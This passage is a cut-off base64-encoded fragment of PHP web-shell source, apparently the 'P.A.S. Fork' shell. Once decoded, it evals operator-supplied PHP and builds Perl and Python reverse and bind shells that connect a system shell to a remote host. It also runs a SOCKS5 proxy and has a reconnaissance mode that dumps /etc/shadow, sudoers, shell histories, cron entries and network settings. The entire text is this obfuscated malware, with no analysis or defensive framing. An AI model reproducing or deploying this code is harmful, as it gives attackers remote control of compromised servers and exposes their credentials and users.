9zaHV0ZG93bl9mdW5jdGlvbignc2RmJyk7CiAgICAgICAgZWNobyAiXHgwMVx4MDIiOwogICAgICAgICREWydlJ10gPSAnZGVmaW5lKCJQRVMiLDEpOycgLiAkRFsnZSddOwogICAgICAgIGlmICghaXNzZXQoJERbJ2gnXSkpCiAgICAgICAgICAgICREWydlJ10gPSAnQGVycm9yX3JlcG9ydGluZyhFX0FMTCk7QGluaV9zZXQoImVycm9yX3JlcG9ydGluZyIsRV9BTEwpO0Bpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsVFJVRSk7JyAuICREWydlJ107CgkJCWV2YWwoJERbJ2UnXSk7CiAgICAgICAgaWYgKGRlZmluZWQoJ1BFUycpKQogICAgICAgICAgICBkaWU7CiAgICAgICAgaWYgKCR2ID0gdGVtcEZpbGUoJzw/cGhwICcgLiAkRFsnZSddKSkgewogICAgICAgICAgICBkZWZpbmUoJ1BURicsICR2KTsKICAgICAgICAgICAgaW5jbHVkZSgkdik7CiAgICAgICAgICAgIGlmIChkZWZpbmVkKCdQRVMnKSkKICAgICAgICAgICAgICAgIGRpZTsKICAgICAgICAgICAgaW5jbHVkZV9vbmNlKCR2KTsKICAgICAgICAgICAgaWYgKGRlZmluZWQoJ1BFUycpKQogICAgICAgICAgICAgICAgZGllOwogICAgICAgICAgICByZXF1aXJlKCR2KTsKICAgICAgICAgICAgaWYgKGRlZmluZWQoJ1BFUycpKQogICAgICAgICAgICAgICAgZGllOwogICAgICAgICAgICByZXF1aXJlX29uY2UoJHYpOwogICAgICAgICAgICBpZiAoZGVmaW5lZCgnUEVTJykpCiAgICAgICAgICAgICAgICBkaWU7CiAgICAgICAgICAgIGlmIChQSFBfVkVSU0lPTiA+PSAnNScgJiYgUEhQX1ZFUlNJT04gPD0gJzUuMC40JykgewogICAgICAgICAgICAgICAgcGhwX2NoZWNrX3N5bnRheCgkdik7CiAgICAgICAgICAgICAgICBpZiAoZGVmaW5lZCgnUEVTJykpCiAgICAgICAgICAgICAgICAgICAgZGllOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGlmIChQSFBfVkVSU0lPTl9JRCA8IDgwMDAwICYmICR2ID0gQGNyZWF0ZV9mdW5jdGlvbignJiRhcmdzJywgJERbJ2UnXSkpCiAgICAgICAgICAgICR2KCRhcmdzKTsKICAgICAgICBpZiAoZGVmaW5lZCgnUEVTJykpCiAgICAgICAgICAgIGRpZTsKICAgICAgICBzRGllKCk7CiAgICAgICAgYnJlYWs7CiAgICBjYXNlICd0JzoKICAgICAgICBmdW5jdGlvbiBnZXRDbWRPcHQoJGMsICRuLCAkZCkgewogICAgICAgICAgICBpZiAoJHYgPSBzdHJwb3MoJGMsICcgLScgLiAkbikpCiAgICAgICAgICAgICAgICByZXR1cm4gbHRyaW0oc3Vic3RyKCRjLCAkdiArIDMsIHN0cmNzcG4oJGMsICcgJywgJHYgKyA0KSArIDEpKTsKICAgICAgICAgICAgcmV0dXJuICRkOwogICAgICAgIH0KICAgICAgICBlY2hvICJceDAxXHgwMiI7CiAgICAgICAgJERbJ2UnXSA9IGlzc2V0KCREWydlJ10pID8gdHJpbSgkRFsnZSddKSA6ICcnOwogICAgICAgIGlmICghaXNzZXQoJERbJ3MnXSkpCiAgICAgICAgICAgICREWydzJ10gPSAnJzsKICAgICAgICAkayA9IHN0cnRvaygkRFsnZSddLCAnICcpOwogICAgICAgIGlmIChpbl9hcnJheSgkaywgYXJyYXkoCiAgICAgICAgICAgICdiYWNrY29ubmVjdC5wZXJsJywKICAgICAgICAgICAgJ2JpbmRwb3J0LnBlcmwnLAogICAgICAgICAgICAnc29ja3M1LnBlcmwnCiAgICAgICAgKSkpIHsKICAgICAgICAgICAgJHAgPSAnJDA9IicgLiBnZXRDbWRPcHQoJERbJ2UnXSwgJ24nLCAnW2t3b3JrZXIvNDoxXScpIC4gJ1wwIjt1c2UgSU86OlNvY2tldDskU0lHeyJDSExEIn09IklHTk9SRSI7JGY9IltGYWlsXSI7JHc9IltXYXJuXSI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpIG9yIGRpZSIkZiBDcmVhdGUgc29ja2V0OiAkISI7JzsKICAgICAgICAgICAgaWYgKCRrID09PSAnYmFja2Nvbm5lY3QucGVybCcpCiAgICAgICAgICAgICAgICAkcCAuPSAnJGE9aW5ldF9hdG9uKCInIC4gc3RydG9rKCcgJykgLiAnIikgb3IgZGllIiRmIENvbnZlcnQgaG9zdCBhZGRyZXNzOiAkISI7JHM9c29ja2FkZHJfaW4oJyAuIHN0cnRvaygnICcpIC4gJywkYSkgb3IgZGllIiRmIFBhY2tlZCBhZGRyZXNzOiAkISI7Y29ubmVjdChTLCRzKSBvciBkaWUiJGYgQ29ubmVjdDogJCEiOyRyPSJTIjsnOwogICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAkcCAuPSAnc2V0c29ja29wdChTLFNPTF9TT0NLRVQsU09fUkVVU0VBRERSLDEpIG9yIHByaW50IiR3IFNldCBzb2NrZXQgb3B0aW9uczogJCFcbiI7JHM9c29ja2FkZHJfaW4oJyAuIHN0cnRvaygnICcpIC4gJyxpbmV0X2F0b24oIicgLiBnZXRDbWRPcHQoJERbJ2UnXSwgJ2EnLCAnMC4wLjAuMCcpIC4gJyIpKSBvciBkaWUiJGYgUGFja2VkIGFkZHJlc3M6ICQhIjtiaW5kKFMsJHMpIG9yIGRpZSIkZiBCaW5kIHNvY2tldDogJCEiOyc7CiAgICAgICAgICAgIGlmICgkayA9PT0gJ2JpbmRwb3J0LnBlcmwnKQogICAgICAgICAgICAgICAgJHAgLj0gJ2xpc3RlbihTLDEpIG9yIGRpZSIkZiBMaXN0ZW4gc29ja2V0OiAkISI7YWNjZXB0KEMsUykgb3IgZGllIiRmIEFjY2VwdCBjb25uZWN0aW9uOiAkISI7JHI9IkMiOyc7CiAgICAgICAgICAgIGlmICgkayA9PT0gJ3NvY2tzNS5wZXJsJykgewogICAgICAgICAgICAgICAgJHYgPSBnZXRDbWRPcHQoJERbJ2UnXSwgJ3MnLCAnJyk7CiAgICAgICAgICAgICAgICBpZiAoJHYpCiAgICAgICAgICAgICAgICAgICAgJHYgPSBleHBsb2RlKCc6JywgJHYpOwogICAgICAgICAgICAgICAgJHAgLj0gJ3VzZSB0aHJlYWRzO2xpc3RlbihTLFNPTUFYQ09OTikgb3IgZGllIiRmIExpc3RlbiBzb2NrZXQ6ICQhIjtwcmludCJbU3VjY10gU2VydmVyIHN1Y2Nlc3NmdWxseSBsYXVuY2hlZCFcbiI7Y2xvc2UoU1RESU4pO2Nsb3NlKFNURE9VVCk7Y2xvc2UoU1RERVJSKTtzdWIgcHJjc3N7JEMgPSAkX1swXTtzeXNyZWFkKCRDLCRiLDEpO2lmKCRiIG5lICJceDA1Iil7c2h1dGRvd24oJEMsMik7Y2xvc2UoJEMpO3JldHVybjt9c3lzcmVhZCgkQywkYiwxKTtzeXNyZWFkKCRDLCRiLG9yZCgkYikpO2lmKGluZGV4KCRiLCJceDAnIC4gKCR2ID8gJzInIDogJzAnKSAuICciKT09LTEpe3N5c3dyaXRlKCRDLCJceDA1XHhGRiIpO3NodXRkb3duKCRDLDApO2Nsb3NlKCRDKTtyZXR1cm47fXN5c3dyaXRlKCRDLCJceDA1XHgwJyAuICgkdiA/ICcyJyA6ICcwJykgLiAnIik7JzsKICAgICAgICAgICAgICAgIGlmICgkdikKICAgICAgICAgICAgICAgICAgICAkcCAuPSAnc3lzcmVhZCgkQywkYiwxKTtzeXNyZWFkKCRDLCRsLDEpO3N5c3JlYWQoJEMsJHUsb3JkKCRsKSk7c3lzcmVhZCgkQywkbCwxKTtzeXNyZWFkKCRDLCRwLG9yZCgkbCkpO2lmKCgkYiBuZSAiXHgwMSIpIHx8ICgkdSBuZSAiJyAuICR2WzBdIC4gJyIpIHx8ICgkcCBuZSAiJyAuICR2WzFdIC4gJyIpKXtzeXN3cml0ZSgkQywiXHgwMVx4RkYiKTtzaHV0ZG93bigkQywwKTtjbG9zZSgkQyk7cmV0dXJuO31zeXN3cml0ZSgkQywiXHgwMVx4MDAiKTsnOwogICAgICAgICAgICAgICAgJHAgLj0gJ3N5c3JlYWQoJEMsJGIsMSk7aWYoJGIgbmUgIlx4MDUiKXtzaHV0ZG93bigkQywyKTtjbG9zZSgkQyk7cmV0dXJuO31zeXNyZWFkKCRDLCRjLDEpO3N5c3JlYWQoJEMsJGIsMSk7aWYoJGIgbmUgIlx4MDAiKXtzaHV0ZG93bigkQywyKTtjbG9zZSgkQyk7cmV0dXJuO31zeXNyZWFkKCRDLCR0LDEpO2lmKCR0IGVxICJceDAxIil7c3lzcmVhZCgkQywkYSw0KTskZD0kYTt9ZWxzaWYoJHQgZXEgIlx4MDMiKXtzeXNyZWFkKCRDLCRhLDEpO3N5c3JlYWQoJEMsJGIsdW5wYWNrKCJjIiwkYSkpOyRhLj0kYjskZD1pbmV0X2F0b24oJGIpO31lbHNpZigkdCBlcSAiXHgwNCIpe3N5c3JlYWQoJEMsJGEsMTYpOyRkPSRhO31lbHNle3NodXRkb3duKCRDLDIpO2Nsb3NlKCRDKTtyZXR1cm47fXN5c3JlYWQoJEMsJGIsMik7JGEuPSRiO2lmKCRjIG5lICJceDAxIil7c3lzd3JpdGUoJEMsICJceDA1XHgwN1x4MDAiLiR0LiRhKTtzaHV0ZG93bigkQywwKTtjbG9zZSgkQyk7cmV0dXJuO31pZighc29ja2V0KEQsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpIG9yICFjb25uZWN0KEQsc29ja2FkZHJfaW4odW5wYWNrKCJuIiwkYiksJGQpKSl7c3lzd3JpdGUoJEMsIlx4MDVceDA1XHgwMCIuJHQuJGEpO3NodXRkb3duKCRDLDApO2Nsb3NlKCRDKTtjbG9zZShEKTtyZXR1cm47fXN5c3dyaXRlKCRDLCJceDA1XHgwMFx4MDAiLiR0LiRhKTskbT0iIjskZmM9ZmlsZW5vKCRDKTskZmQ9ZmlsZW5vKEQpO3ZlYygkbSwkZmMsMSk9MTt2ZWMoJG0sJGZkLDEpPTE7ZG97JGM9JG07JHJjPS0xOyRyZD0tMTtpZihzZWxlY3QoJGMsdW5kZWYsdW5kZWYsMSkpe2lmKHZlYygkYywkZmMsMSkpeyRyYz1zeXNyZWFkKCRDLCRiLDEwMjQwKTtpZigkcmMpe3N5c3dyaXRlKEQsJGIpO319aWYodmVjKCRjLCRmZCwxKSl7JHJkPXN5c3JlYWQoRCwkYiwxMDI0MCk7aWYoJHJkKXtzeXN3cml0ZSgkQywkYik7fX19fXdoaWxlKCRyYyE9MCAmJiAkcmQhPTApO3NodXRkb3duKCRDLDIpO2Nsb3NlKCRDKTtzaHV0ZG93bihELDIpO2Nsb3NlKEQpO313aGlsZShhY2NlcHQoQyxTKSl7dGhyZWFkcy0+Y3JlYXRlKCJwcmNzcyIsQyk7fSc7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkdiA9IGdldENtZE9wdCgkRFsnZSddLCAncycsIE5JWCA/ICcvYmluL3NoIC1pJyA6ICdjbWQnKTsKICAgICAgICAgICAgICAgICRwIC49ICdwcmludCJbT0tdIFN1Y2Nlc3NmdWwgY29ubmVjdGVkIVxuIjtvcGVuKFNURE9VVCwiPiYkciIpIG9yIGRpZSIkZiBSZWRpcmVjdCBTVERPVVQ6ICQhIjtwcmludCAiXG4jIFAuQS5TLiBGb3JrIHYuJyAuIFZFUiAuICcgJyAuICRrIC4gJ1xuXG4iO29wZW4oU1RESU4sICI8JiRyIikgb3IgZGllIiRmIFJlZGlyZWN0IFNURElOOiAkISI7b3BlbihTVERFUlIsIj4mU1RET1VUIikgb3IgcHJpbnQiJHcgUmVkaXJlY3QgU1RERVJSOiAkIVxuIjtleGVjKCInIC4gJHYgLiAnIikgb3IgZGllIiRmIFJ1biBzaGVsbCAoJyAuICR2IC4gJyk6ICQhIjsnOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRzID0gZ2V0Q21kT3B0KCREWydlJ10sICdpJywgTklYID8gJy91c3IvYmluL3BlcmwnIDogJ3BlcmwuZXhlJyk7CiAgICAgICAgICAgIGlmICgkdiA9IHRlbXBGaWxlKCRwKSkgewogICAgICAgICAgICAgICAgZXhlKCRzIC4gJyAnIC4gJHYgLiAnICYnLCAkRFsnZiddLCAkRFsncyddKTsKICAgICAgICAgICAgICAgIGRlbEZpbGUoJHYpOwogICAgICAgICAgICB9IGVsc2UKICAgICAgICAgICAgICAgIGV4ZSgkcyAuICIgLWUgJyIgLiAkcCAuICInICYiLCAkRFsnZiddLCAkRFsncyddKTsKICAgICAgICB9IGVsc2VpZiAoaW5fYXJyYXkoJGssIGFycmF5KAogICAgICAgICAgICAnYmFja2Nvbm5lY3QucHl0aG9uJywKICAgICAgICAgICAgJ2JpbmRwb3J0LnB5dGhvbicsCiAgICAgICAgICAgICdzb2NrczUucHl0aG9uJwogICAgICAgICkpKSB7CiAgICAgICAgICAgICRwID0gInRyeTpcbiBpbXBvcnQgc3lzLHNvY2tldCI7CiAgICAgICAgICAgIGlmICgkayA9PT0gJ3NvY2tzNS5weXRob24nKQogICAgICAgICAgICAgICAgJHAgLj0gJyxzdHJ1Y3QsdGhyZWFkaW5nLHNlbGVjdCc7CiAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICRwIC49ICcsb3MsJyAuIChnZXRDbWRPcHQoJERbJ2UnXSwgJ3QnLCAnTicpID09PSAnTicgPyAnc3VicHJvY2VzcycgOiAncHR5Jyk7CiAgICAgICAgICAgICRwIC49ICI7XG4gUyA9IHNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKTtcbiI7CiAgICAgICAgICAgIGlmICgkayA9PT0gJ2JhY2tjb25uZWN0LnB5dGhvbicpIHsKICAgICAgICAgICAgICAgICRwIC49ICcgUy5jb25uZWN0KCgiJyAuIHN0cnRvaygnICcpIC4gJyIsJyAuIHN0cnRvaygnICcpIC4gIikpO1xuIjsKICAgICAgICAgICAgICAgICRzID0gJ1MnOwogICAgICAgICAgICB9IGVsc2UKICAgICAgICAgICAgICAgICRwIC49ICIgUy5zZXRzb2Nrb3B0KHNvY2tldC5TT0xfU09DS0VULCBzb2NrZXQuU09fUkVVU0VBRERSLCAxKTtcbiIgLiAnIFMuYmluZCgoIicgLiBnZXRDbWRPcHQoJERbJ2UnXSwgJ2EnLCAnJykgLiAnIiwnIC4gc3RydG9rKCcgJykgLiAiKSk7XG4gUy5saXN0ZW4oNSk7XG4iOwogICAgICAgICAgICBpZiAoJGsgPT09ICdiaW5kcG9ydC5weXRob24nKSB7CiAgICAgICAgICAgICAgICAkcCAuPSAiIChDLEEpID0gUy5hY2NlcHQoKTtcbiI7CiAgICAgICAgICAgICAgICAkcyA9ICdDJzsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoJGsgPT09ICdzb2NrczUucHl0aG9uJykgewogICAgICAgICAgICAgICAgJHYgPSBnZXRDbWRPcHQoJERbJ2UnXSwgJ3MnLCAnJyk7CiAgICAgICAgICAgICAgICBpZiAoJHYpCiAgICAgICAgICAgICAgICAgICAgJHYgPSBleHBsb2RlKCc6JywgJHYpOwogICAgICAgICAgICAgICAgJHAgLj0gImV4Y2VwdCBFeGNlcHRpb24gYXMgZTpcbiBwcmludChlKTtcbmVsc2U6XG4iIC4gJyBwcmludCgiW1N1Y2NdIFNlcnZlciBzdWNjZXNzZnVsbHkgbGF1bmNoZWQhIitjaHIoMTApKTsnIC4gIlxuIHN5cy5zdGRpbi5jbG9zZSgpO1xuIHN5cy5zdGRlcnIuY2xvc2UoKTtcbiBzeXMuc3Rkb3V0LmNsb3NlKCk7XG4gZGVmIHByY3NzKEMpOlxuIiAuICcgIGlmIEMucmVjdigxKSE9YiJceDA1IjonIC4gIlxuICAgQy5zaHV0ZG93bigyKTtcbiAgIEMuY2xvc2UoKTtcbiAgIHJldHVybjtcbiIgLiAnICBpZiBiIlx4MCcgLiAoJHYgPyAnMicgOiAnMCcpIC4gJyIgbm90IGluIEMucmVjdihzdHJ1Y3QudW5wYWNrKCJCIiwgQy5yZWN2KDEpKVswXSk6JyAuICJcbiIgLiAnICAgQy5zZW5kKGIiXHgwNVx4RkYiKTsnIC4gIlxuICAgQy5zaHV0ZG93bigwKTtcbiAgIEMuY2xvc2UoKTtcbiAgIHJldHVybjtcbiIgLiAnICBDLnNlbmQoYiJceDA1XHgwJyAuICgkdiA/ICcyJyA6ICcwJykgLiAnIik7JyAuICJcbiI7CiAgICAgICAgICAgICAgICBpZiAoJHYpCiAgICAgICAgICAgICAgICAgICAgJHAgLj0gJyAgaWYgKEMucmVjdigxKSE9YiJceDAxIikgb3IgKEMucmVjdihzdHJ1Y3QudW5wYWNrKCJCIiwgQy5yZWN2KDEpKVswXSkhPWIiJyAuICR2WzBdIC4gJyIpIG9yIChDLnJlY3Yoc3RydWN0LnVucGFjaygiQiIsIEMucmVjdigxKSlbMF0pIT1iIicgLiAkdlsxXSAuICciKTonIC4gIlxuIiAuICcgICBDLnNlbmQoYiJceDAxXHhGRiIpOycgLiAiXG4gICBDLnNodXRkb3duKDApO1xuICAgQy5jbG9zZSgpO1xuICAgcmV0dXJuO1xuIiAuICcgIEMuc2VuZChiIlx4MDFceDAwIik7JyAuICJcbiI7CiAgICAgICAgICAgICAgICAkcCAuPSAnICBpZiBDLnJlY3YoMSkhPWIiXHgwNSI6JyAuICJcbiAgIEMuc2h1dGRvd24oMik7XG4gICBDLmNsb3NlKCk7XG4gICByZXR1cm47XG4gIGMgPSBDLnJlY3YoMSk7XG4iIC4gJyAgaWYgQy5yZWN2KDEpIT1iIlx4MDAiOicgLiAiXG4gICBDLnNodXRkb3duKDIpO1xuICAgQy5jbG9zZSgpO1xuICAgcmV0dXJuO1xuICB0ID0gQy5yZWN2KDEpO1xuIiAuICcgIGlmIHQ9PWIiXHgwMSI6JyAuICJcbiAgIGEgPSBDLnJlY3YoNCk7XG4iIC4gJyAgIGQgPSBzb2NrZXQuaW5ldF9udG9hKGEpOycgLiAiXG4iIC4gJyAgZWxpZiB0PT1iIlx4MDMiOicgLiAiXG4gICBhID0gQy5yZWN2KDEpO1xuIiAuICcgICBkID0gQy5yZWN2KHN0cnVjdC51bnBhY2soIkIiLCBhKVswXSk7JyAuICJcbiAgIGEgKz0gZDtcbiIgLiAnICBlbGlmIHQ9PWIiXHgwNCI6JyAuICJcbiAgIGEgPSBDLnJlY3YoMTYpO1xuIiAuICcgICBkID0gc29ja2V0LmluZXRfbnRvcChzb2NrZXQuQUZfSU5FVDYsIGEpOycgLiAiXG4gIGVsc2U6XG4gICBDLnNodXRkb3duKDIpO1xuICAgQy5jbG9jZSgpO1xuICAgcmV0dXJuO1xuICBwID0gQy5yZWN2KDIpO1xuICBhICs9IHA7XG4iIC4gJyAgaWYgYyE9YiJceDAxIjonIC4gIlxuIiAuICcgICBDLnNlbmQoYiJceDA1XHgwN1x4MDAiK3QrYSk7JyAuICJcbiAgIEMuc2h1dGRvd24oMCk7XG4gICBDLmNsb3NlKCk7XG4gICByZXR1cm47XG4gIEQgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7XG4gIHRyeTpcbiIgLiAnICAgRC5jb25uZWN0KChkLCBzdHJ1Y3QudW5wYWNrKCI+SCIsIHApWzBdKSk7JyAuICJcbiAgZXhjZXB0OlxuIiAuICcgICBDLnNlbmQoYiJceDA1XHgwNVx4MDAiK3QrYSk7JyAuICJcbiAgIEMuc2h1dGRvd24oMCk7XG4gICBDLmNsb3NlKCk7XG4gICBELmNsb3NlKCk7XG4gIGVsc2U6XG4iIC4gJyAgIEMuc2VuZChiIlx4MDVceDAwXHgwMCIrdCthKTsnIC4gIlxuICAgQy5zZXRibG9ja2luZygwKTtcbiAgIEQuc2V0YmxvY2tpbmcoMCk7XG4gICB3aGlsZSBUcnVlOlxuICAgIHIsdyxlID0gc2VsZWN0LnNlbGVjdChbQyxEXSwgW10sIFtdKTtcbiAgICBpZiBsZW4ocik+MDpcbiAgICAgdHJ5OlxuICAgICAgZCA9IHJbMF0ucmVjdigxMDI0MCk7XG4gICAgICBpZiByWzBdPT1DOlxuICAgICAgIEQuc2VuZChkKTtcbiAgICAgIGVsc2U6XG4gICAgICAgQy5zZW5kKGQpO1xuICAgICBleGNlcHQ6XG4gICAgICBELmNsb3NlKCk7XG4gICAgICBDLmNsb3NlKCk7XG4gICAgICBicmVhaztcbiB3aGlsZSBUcnVlOlxuICAoQyxBKSA9IFMuYWNjZXB0KCk7XG4gIHQgPSB0aHJlYWRpbmcuVGhyZWFkKHRhcmdldD1wcmNzcyxhcmdzPShDLCkpO1xuICB0LmRhZW1vbiA9IFRydWU7XG4gIHQuc3RhcnQoKTsiOwogICAgICAgICAgICB9IGVsc2UKICAgICAgICAgICAgICAgICRwIC49ICcgcHJpbnQoIltPS10gU3VjY2Vzc2Z1bCBjb25uZWN0ZWQhXG4iKTsnIC4gIlxuIHN5cy5zdGRvdXQuZmx1c2goKTtcbiIgLiAnIG9zLmR1cDIoJyAuICRzIC4gIi5maWxlbm8oKSwwKTtcbiIgLiAnIG9zLmR1cDIoJyAuICRzIC4gIi5maWxlbm8oKSwxKTtcbiIgLiAnIG9zLmR1cDIoJyAuICRzIC4gIi5maWxlbm8oKSwyKTtcbiIgLiAnIHByaW50KCJcbiMgUC5BLlMuIEZvcmsgdi4nIC4gVkVSIC4gJyAnIC4gJGsgLiAnXG5cbiIpOycgLiAiXG4gc3lzLnN0ZG91dC5mbHVzaCgpO1xuICIgLiAoZ2V0Q21kT3B0KCREWydlJ10sICd0JywgJ04nKSA9PT0gJ04nID8gJ3N1YnByb2Nlc3MuUG9wZW4nIDogJ3B0eS5zcGF3bicpIC4gJyhbIicgLiBnZXRDbWRPcHQoJERbJ2UnXSwgJ3MnLCBOSVggPyAnL2Jpbi9zaCIsIi1pJyA6ICdjbWQnKSAuICciXSk7JyAuICJcbmV4Y2VwdCBFeGNlcHRpb24gYXMgZTpcbiIgLiAnIHByaW50KGUpOyc7CiAgICAgICAgICAgICRzID0gZ2V0Q21kT3B0KCREWydlJ10sICdpJywgTklYID8gJy91c3IvYmluL3B5dGhvbicgOiAncHl0aG9uLmV4ZScpOwogICAgICAgICAgICBpZiAoJHYgPSB0ZW1wRmlsZSgkcCkpIHsKICAgICAgICAgICAgICAgIGV4ZSgkcyAuICcgJyAuICR2IC4gJyAmJywgJERbJ2YnXSwgJERbJ3MnXSk7CiAgICAgICAgICAgICAgICBkZWxGaWxlKCR2KTsKICAgICAgICAgICAgfSBlbHNlCiAgICAgICAgICAgICAgICBleGUoImVjaG8gJyIgLiAkcCAuICInfCAiIC4gJHMgLiAnIC0gJicsICREWydmJ10sICREWydzJ10pOwogICAgICAgIH0gZWxzZWlmICgkayA9PT0gJ3JlcG9ydCcpIHsKICAgICAgICAgICAgJGkgPSBnZXRDbWRPcHQoJERbJ2UnXSwgJ3MnLCAnJyk7CiAgICAgICAgICAgIGlmIChOSVgpIHsKICAgICAgICAgICAgICAgICR0ID0gImVjaG8gJyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tJzsiOwogICAgICAgICAgICAgICAgJGggPSAnZWNobztlY2hvOycgLiAkdCAuICJlY2hvICd8JyAgIjsKICAgICAgICAgICAgICAgICR2ID0gImVjaG8gJyogIFRoaXMgcmVwb3J0IGNyZWF0ZWQgYnkgUC5BLlMuIEZvcmsgdi4iIC4gVkVSIC4gIic7ZWNobyAnKiAgJ2BkYXRlIC11ICsnJVktJW0tJWQgJUg6JU06JVMgJVonYDsiOwogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkaSwgJ28nKSA9PT0gRkFMU0UpCiAgICAgICAgICAgICAgICAgICAgJHYgLj0gJGggLiAnT1MgSWRlbnRpZmljYXRpb247JyAuICR0IC4gImVjaG8gJz09PiB1bmFtZSA8PT0nOyIgLiAndW5hbWUgLWE7ZWNobzt0YWlsIC1uICsxIC9wcm9jLyp2ZXJzaW9uKiAvZXRjLyppc3N1ZSogL2V0Yy8qcmVsZWFzZSogL2V0Yy8qdmVyc2lvbiogL2V0Yy9tb3RkOyc7CiAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRpLCAnZScpID09PSBGQUxTRSkKICAgICAgICAgICAgICAgICAgICAkdiAuPSAkaCAuICdFbnZpcm9ubWVudDsnIC4gJHQgLiAnZW52Oyc7CiAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRpLCAndScpID09PSBGQUxTRSkKICAgICAgICAgICAgICAgICAgICAkdiAuPSAkaCAuICdVc2VycyBhbmQgR3JvdXBzOycgLiAkdCAuICJlY2hvICc9PT4gaWQgPD09JzsiIC4gJ2lkO2VjaG87JyAuICJlY2hvICc9PT4gd2hvYW1pIDw9PSc7IiAuICd3aG9hbWk7ZWNobzt0YWlsIC1uICsxIC9ldGMvKnBhc3N3ZCogL2V0Yy8qZ3JvdXAqIC9ldGMvKnNoYWRvdyogL2V0Yy9zdWRvZXJzO2VjaG87JyAuICJlY2hvICc9PT4gd2hvIDw9PSc7IiAuICd3aG87JzsKICAgICAgICAgICAgICAgIGlmIChzdHJwb3MoJGksICdsJykgPT09IEZBTFNFKQogICAgICAgICAgICAgICAgICAgICR2IC49ICRoIC4gJ0xhbmc7JyAuICR0IC4gJ3BocCAtdnxoZWFkIC1uMTtweXRob24gLVYgMj4mMTtwZXJsIC12fGhlYWQgLW4yfHRhaWwgLW4xO3J1YnkgLXY7Z2NjIC0tdmVyc2lvbnxoZWFkIC1uMTsnOwogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkaSwgJ3AnKSA9PT0gRkFMU0UpCiAgICAgICAgICAgICAgICAgICAgJHYgLj0gJGggLiAnUHJvY2Vzc2VzOycgLiAkdCAuICdwcyAtdWF4Oyc7CiAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRpLCAnYycpID09PSBGQUxTRSkKICAgICAgICAgICAgICAgICAgICAkdiAuPSAkaCAuICdDUFU7JyAuICR0IC4gJ2NhdCAvcHJvYy9jcHVpbmZvOyc7CiAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRpLCAnbicpID09PSBGQUxTRSkKICAgICAgICAgICAgICAgICAgICAkdiAuPSAkaCAuICdOZXR3b3JrOycgLiAkdCAuICd0YWlsIC1uICsxIC9ldGMvaG9zdCo7JyAuICJlY2hvICc9PT4gTGlzdGVuaW5nIHBvcnRzIDw9PSc7IiAuICduZXRzdGF0IC1sbjsnIC4gImVjaG8gJz09PiBJUCBjb25maWcgPD09JzsiIC4gJ2lmY29uZmlnIC1hOyBpcCBhOyc7CiAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRpLCAncicpID09PSBGQUxTRSkKICAgICAgICAgICAgICAgICAgICAkdiAuPSAkaCAuICdDcm9uOycgLiAkdCAuICd0YWlsIC1uICsxIC9ldGMvKmNyb250YWI7JyAuICJlY2hvICc9PT4gRmlsZXMgPD09JzsiIC4gJ2xzIC1hbCAvZXRjLypjcm9uKjtscyAtYWwgL3Zhci9zcG9vbC9jcm9uLyo7ZWNobzsnOwogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkaSwgJ2gnKSA9PT0gRkFMU0UpCiAgICAgICAgICAgICAgICAgICAgJHYgLj0gJGggLiAnSGlzdG9yaWVzOycgLiAkdCAuICdmb3IgZCBpbiBgY3V0IC1kIjoiIC1mNiAvZXRjL3Bhc3N3ZGA7ZG8gbHMgLWFsICRkLy4qaGlzdCo7ZG9uZTsnOwogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkaSwgJ2YnKSA9PT0gRkFMU0UpIHsKICAgICAgICAgICAgICAgICAgICAkdiAuPSAkaCAuICdGaWxlIFN5c3RlbTsnIC4gJHQgLiAiZWNobyAnPT0+IG1vdW50IDw9PSc7bW91bnQ7ZWNobztlY2hvICc9PT4gRGlza3MgPD09JztkZiAtaDtlY2hvO2VjaG8gJz09PiAvIDw9PSc7bHMgLWFsIC87ZWNobztlY2hvICc9PT4gL2Jvb3QgPD09JztscyAtYWwgL2Jvb3Q7ZWNobztlY2hvICc9PT4gL2V0YyA8PT0nO2xzIC1hbCAvZXRjO2VjaG87ZWNobyAnPT0+IC90bXAgPD09JztscyAtYWwgL3RtcDtlY2hvO2VjaG8gJz09PiBMaWJzIDw9PSc7bHMgLWFsIC0tZnVsbC10aW1lIC9saWIqO2VjaG87IjsKICAgICAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRpLCAncycpID09PSBGQUxTRSkKICAgICAgICAgICAgICAgICAgICAgICAgJHYgLj0gImVjaG8gJz09PiBTVUlEIEZpbGVzIDw9PSc7IiAuICdmaW5kIC8gLXR5cGUgZiAtcGVybSAtdStzIC1sczsnOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJHQgPSAnZWNobyAgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAmICc7CiAgICAgICAgICAgICAgICAkaCA9ICR0IC4gJ2VjaG8gXnwgICc7CiAgICAgICAgICAgICAgICAkdiAuPSAkaCAuICdPUyAmJyAuICR0IC4gJ3JlZyBxdWVyeSAiSEtFWV9MT0NBTF9NQUNISU5FXFNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzIE5UXEN1cnJlbnRWZXJzaW9uIiAvdiBQcm9